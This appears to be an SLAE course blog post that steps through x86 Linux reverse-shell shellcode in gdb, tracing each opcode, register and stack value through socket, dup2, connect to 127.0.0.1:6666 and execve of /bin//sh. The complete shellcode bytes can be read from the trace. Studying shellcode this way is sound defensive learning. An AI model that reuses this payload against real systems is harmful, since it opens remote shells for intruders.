I'm using the same gdb trick (break *0) to set the breakpoint on the first instruction.

(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
(gdb) x/5i $pc
=> 0x8048054:    xor    %ebx,%ebx
0x8048056:    push   %ebx
0x8048057:    inc    %ebx
0x8048058:    push   %ebx
0x8048059:    push   $0x2
(gdb)

00000000  31DB              xor ebx,ebx
EBX = 00000000
Stack = <uninitialized>

00000002  53                push ebx
EBX = 00000000
Stack = 00 00 00 00 <uninitialized>

00000003  43                inc ebx
EBX = 00000001
Stack = 00 00 00 00 <uninitialized>

00000004  53                push ebx
EBX = 00000001
Stack = 01 00 00 00 00 00 00 00 <uninitialized>

00000005  6A02              push byte +0x2
EBX = 00000001
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

00000007  6A66              push byte +0x66
EBX = 00000001
Stack = 66 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

00000009  58                pop eax
EAX = 00000066
EBX = 00000001
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

0000000A  89E1              mov ecx,esp
EAX = 00000066
EBX = 00000001
ECX = <pointer to uninitialized + 12>
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

0000000C  CD80              int 0x80
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

#define __NR_socketcall 102

int socketcall(int call, unsigned long *args);
RETURN VALUE = On success, a file descriptor for the new socket is returned
Effectively: Socketcall(Socket, 2 1 0)

0000000E  93                xchg eax,ebx
EAX = 00000001
EBX = <fd for master socket>
ECX = <pointer to uninitialized + 12>
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

0000000F  59                pop ecx
EAX = 00000001
EBX = <fd for master socket>
ECX = 00000002
Stack = 01 00 00 00 00 00 00 00 <uninitialized>

00000010  B03F              mov al,0x3f
EAX = 0000003F
EBX = <fd for master socket>
ECX = 00000002
Stack = 01 00 00 00 00 00 00 00 <uninitialized>

00000012  CD80              int 0x80

#define __NR_dup2 63
int dup2(int oldfd, int newfd);
Note: Copy the STDERR (and later STDOUT and STDIN via repeat loop jns 0x10) to the accepted socket

00000014  49                dec ecx
EAX = 00000000
EBX = <fd for master socket>
ECX = 00000002 -> 00000001 -> 00000000 -> FFFFFFFF
Stack = 01 00 00 00 00 00 00 00 <uninitialized>

00000015  79F9              jns 0x10
EAX = 00000000
EBX = <fd for master socket>
ECX = 00000002 -> 00000001 -> 00000000 -> FFFFFFFF
Stack = 01 00 00 00 00 00 00 00 <uninitialized>

00000017  5B                pop ebx
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
Stack = 00 00 00 00 <uninitialized>

00000018  5A                pop edx
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
EDX = 00000000
Stack = <uninitialized>

00000019  687F010101        push dword 0x101017f
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
EDX = 00000000
Stack = 7f 01 01 01 <uninitialized>

0000001E  66681A0A          push word 0xa1a
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
EDX = 00000000
Stack = 1a 0a 7f 01 01 01 <uninitialized>

00000022  43                inc ebx
EAX = 00000000
EBX = 00000002
ECX = FFFFFFFF
EDX = 00000000
Stack = 1a 0a 7f 01 01 01 <uninitialized>

00000023  6653              push bx
EAX = 00000000
EBX = 00000002
ECX = FFFFFFFF
EDX = 00000000
Stack = 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000025  89E1              mov ecx,esp
EAX = 00000000
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000027  B066              mov al,0x66
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000029  50                push eax
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

0000002A  51                push ecx
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

0000002B  53                push ebx
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

0000002C  89E1              mov ecx,esp
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

0000002E  43                inc ebx
EAX = 00000066
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

0000002F  CD80              int 0x80

#define __NR_socketcall 102

int socketcall(int call, unsigned long *args);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
RETURN VALUE: If the connection or binding succeeds, zero is returned.
Note: Effectively: Socketcall(Connect(sockfd, {AF_INET, 6666, 127.0.0.1}, 66))

00000031  52                push edx
EAX = 00000000
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000032  682F2F7368        push dword 0x68732f2f
EAX = 00000000
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000037  682F62696E        push dword 0x6e69622f
EAX = 00000000
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

/bin//sh

0000003C  89E3              mov ebx,esp
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

0000003E  52                push edx
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

0000003F  53                push ebx
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = <pointer to /bin//sh> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000040  89E1              mov ecx,esp
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to pointer to /bin//sh>
EDX = 00000000
Stack = <pointer to /bin//sh> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000042  B00B              mov al,0xb
EAX = 0000000B
EBX = <pointer to /bin//sh>
ECX = <pointer to pointer to /bin//sh>
EDX = 00000000
Stack = <pointer to /bin//sh> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>

00000044  CD80              int 0x80
Process executes a new program here via execve using the variables in EBX, ECX and EDX

#define __NR_execve 11
int execve(const char *filename, char *const argv[], char *const envp[]);
Note: Effectively: execve(/bin//sh, /bin//sh%00, 0)

Filed under: Exclude from front page SLAE